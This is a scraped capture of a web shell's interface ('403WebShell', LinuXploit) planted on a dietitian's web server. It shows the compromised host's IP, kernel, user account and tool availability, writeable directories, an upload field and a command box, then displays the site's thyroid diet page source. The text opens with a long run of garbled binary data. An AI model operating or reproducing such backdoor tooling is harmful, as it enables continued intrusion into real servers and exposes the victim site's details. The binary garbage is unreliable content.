�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 216.10.251.64  /  Your IP : 216.73.216.6
Web Server : Apache
System : Linux server.webkartdigital.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : digit2pk ( 1003)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/digit2pk/public_html/thehealthmantra.co.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/digit2pk/public_html/thehealthmantra.co.in/thyroid-management.php
<!DOCTYPE html>
<html lang="en">


<head>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, initial-scale=1">
   <title>The Health Mantra - By Iqbal Kaur</title>
   <!-- Favicon Icon -->
   <link rel="shortcut icon" href="images/favicon.ico">
   <!-- Bootstrap CSS -->
   <link rel="stylesheet" href="css/bootstrap.min.css">
   <!-- simplebar CSS -->
   <link rel="stylesheet" href="css/simplebar.min.css">
   <!-- Icons CSS -->
   <link rel="stylesheet" href="fonts/font-awesome/css/all.min.css">
   <link rel="stylesheet" href="fonts/themify-icons/themify-icons.css">
   <link rel="stylesheet" href="fonts/ionicons/ionicons.min.css">
   <!-- Animation CSS -->
   <link rel="stylesheet" href="css/animations.min.css">
   <!--  Style CSS -->
   <link rel="stylesheet" href="css/style.css">
   <!--  Responsive CSS -->
   <link rel="stylesheet" href="css/responsive.css">
</head>

<body>

   <!--Loading-->
   <div id="pq-loading">
      <div id="pq-loading-center">
         <img src="images/header-logo/logo.png" alt="loading">
      </div>
   </div>
   <!--Loading-->

   <style>
      .pq-breadcrumb{

         padding: 45px 0 !important;
      }
      section{
         padding: 30px 0;
      }
   </style>
   <!-- <header-start> -->
    <?php include "include/header.php" ?>
   <!-- <header-end> -->
   <!--=================================
         Banner start-->


   <?php include "include/qcontact.php" ?>
   <!--=================================
         Banner end-->
   <!-- <Balance Body & Mind-service-start> -->
   <section>
      <div class="container">
         <div class="row">
       
            <div class="col-lg-8">
               <!-- <div class="pq-service-img">
                  <img src="images/service/slider/1/24.png" style="width: 100%; height: 400px;" alt="service" >
               </div> -->
               <h4 class="pq-service-tittle">Dietitian for Thyroid Management in Delhi</h4>
               <p class="">The thyroid, a butterfly-shaped gland in the neck, plays a pivotal role in regulating body functions. It produces hormones—T3 (triiodothyronine) and T4 (thyroxine)—that impact metabolism, body temperature, and heart rate, influencing various bodily processes. Disruptions in hormone levels—hyperthyroidism, hypothyroidism, thyroiditis, Hashimoto's thyroiditis, and thyroid cancer—can affect the entire body.

</p>
             
               <p><b>Role of Diet in Thyroid Health</b></p>
               
               <p>The thyroid is regulated by the pituitary gland, releasing thyroid stimulating hormone (TSH). Imbalances in hormone production can cause fatigue, weight changes, and menstrual irregularities. Lifestyle factors like poor diet, stress, and inadequate sleep often contribute to thyroid diseases, emphasizing the importance of lifestyle modifications.</p>
             
               <p><b>Key Nutrients for Thyroid Health</b></p>
               <ul>
                <li><b>Iodine:</b> Vital for thyroid hormone production; found in seaweed, fish, dairy, and eggs.</li>
                <li><b>Selenium:</b> Activates thyroid hormones; abundant in Brazil nuts.</li>
                <li><b>Zinc:</b> Regulates TSH; sources include oysters, nuts, and seeds.</li>
                <li><b>Goitrogens: </b> Compounds that may interfere with thyroid function found in cruciferous vegetables (broccoli, kale), peanuts, sweet potatoes, and spinach.</li>
               </ul>
               <p><b>Dietary Recommendations for Thyroid Disorders</b></p>
                    
               <ul>
                <li>Consume a diet rich in vegetables, fruits, and lean meats to manage hypothyroidism.</li>
                <li>Aim for five portions of fruits and vegetables daily, include dairy or alternatives, and eat protein sources.</li>
                <li>Opt for unsaturated oils, drink ample fluids, and exercise regularly with cardio, strength training, or yoga.</li>
                <li>Soy products may inhibit thyroid hormone production (TPO); moderation is advisable.</li>
               
               </ul>

               <p><b>Exercise and Thyroid Health</b></p>
               <p>Regular exercise is beneficial and doesn't negatively impact thyroid hormone levels. It can boost metabolism and is recommended, including yoga as part of the routine.</p>

               <p><b>The Health Mantra's Approach to Managing Thyroid Disorders</b></p>
               <p>The The Health Mantra team offers diets rich in protein, selenium, calcium, magnesium, and iodine, aiding thyroid function. Ensuring sufficient B vitamins and other vital nutrients is crucial in thyroid management.</p>


            
            </div>
            <div class="col-lg-4">
               <div class="service-type service-port">
                  <div class="menu-service-menu-container" >
                     <ul class="menu" style="max-height: 600px ; overflow: scroll;">
                        <li><a href="weight-loss.php">Diet For Weight loss</a></li>
<li><a href="weight-gain.php">Diet For Weight Gain</a></li>
<li><a href="diet-for-diabetes.php">Diet For Diabetes</a></li>
<li><a href="post-pre-pregnancy.php">Diet For Pregnancy & Lactation</a></li>
<li><a href="pcos-management.php">Diet Plan For PCOS/PCOD</a></li>
<li><a href="thyroid-management.php">Diet Plan For Thyroid</a></li>
<li><a href="diet-for-kids.php">Child/ Pediatric Nutrition Diet Plan</a></li>
<li><a href="gym-diet.php">Gym Diet</a></li>
<li><a href="vegan-diet.php">Vegan Diet</a></li>
<li><a href="menopause.php">Diet For Menopause</a></li>
<li><a href="hairfall-reduction.php">Hair Fall & Diet</a></li>
<li><a href="gluten-free-diet.php">Gluten Free Diet</a></li>
<li><a href="fatty-liver.php">Fatty Liver Diet</a></li>
<li><a href="cholesterol.php">Cholesterol Plan</a></li>
<li><a href="high-uric-acid-diet.php">High Uric Acid Diet</a></li>
<li><a href="renal-kidney-disease-management.php">Kidney Disorder Plan</a></li>
<li><a href="detox-diet.php">Detox Diet</a></li>
<li><a href="autoimmune-disorder.php">Auto Immune Disorder</a></li>
<li><a href="glowing-skin.php">Glowing Skin</a></li>

                     </ul>
                  </div>
               </div>
             
         
            </div>
         </div>
      </div>
   </section>
   <!-- <Balance Body & Mind-service-end> -->
   <!-- <footer-start> -->
 <?php include "include/footer.php" ?>
   <!-- <footer-end> -->
   <!--Back To Top start-->
   <div id="back-to-top">
      <div class="top" id="top">
         <a id="pq-back-to-top" href="#" class="on">
            <span class="pq-icon-up">
               <i class="ion-ios-arrow-up"></i> </span>
            <span class="pq-icon-up pq-icon-up-hover">
               <i class="ion-ios-arrow-up"></i> </span>
         </a>
      </div>
   </div>
   <!--Back To Top End-->
   <!--jquery js-->
   <script src="js/jquery.min.js"></script>
   <!--bootstrap js-->
   <script src="js/bootstrap.min.js"></script>
   <!--owl-carousal-->
   <script src="js/owl.carousel.min.js"></script>
   <!--progress-bar js-->
   <script src="js/progressbar.js"></script>
   <!-- Simplebar js -->
   <script src="js/simplebar.min.js"></script>
   <!-- wow js -->
   <script src="js/wow.min.js"></script>
   <!--countTo js-->
   <script src="js/jquery.countTo.min.js"></script>
   <!--Maginfic-Popup js-->
   <script src="js/jquery.magnific-popup.min.js"></script>
   <!--custom js-->
   <script src="js/custom.js"></script>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit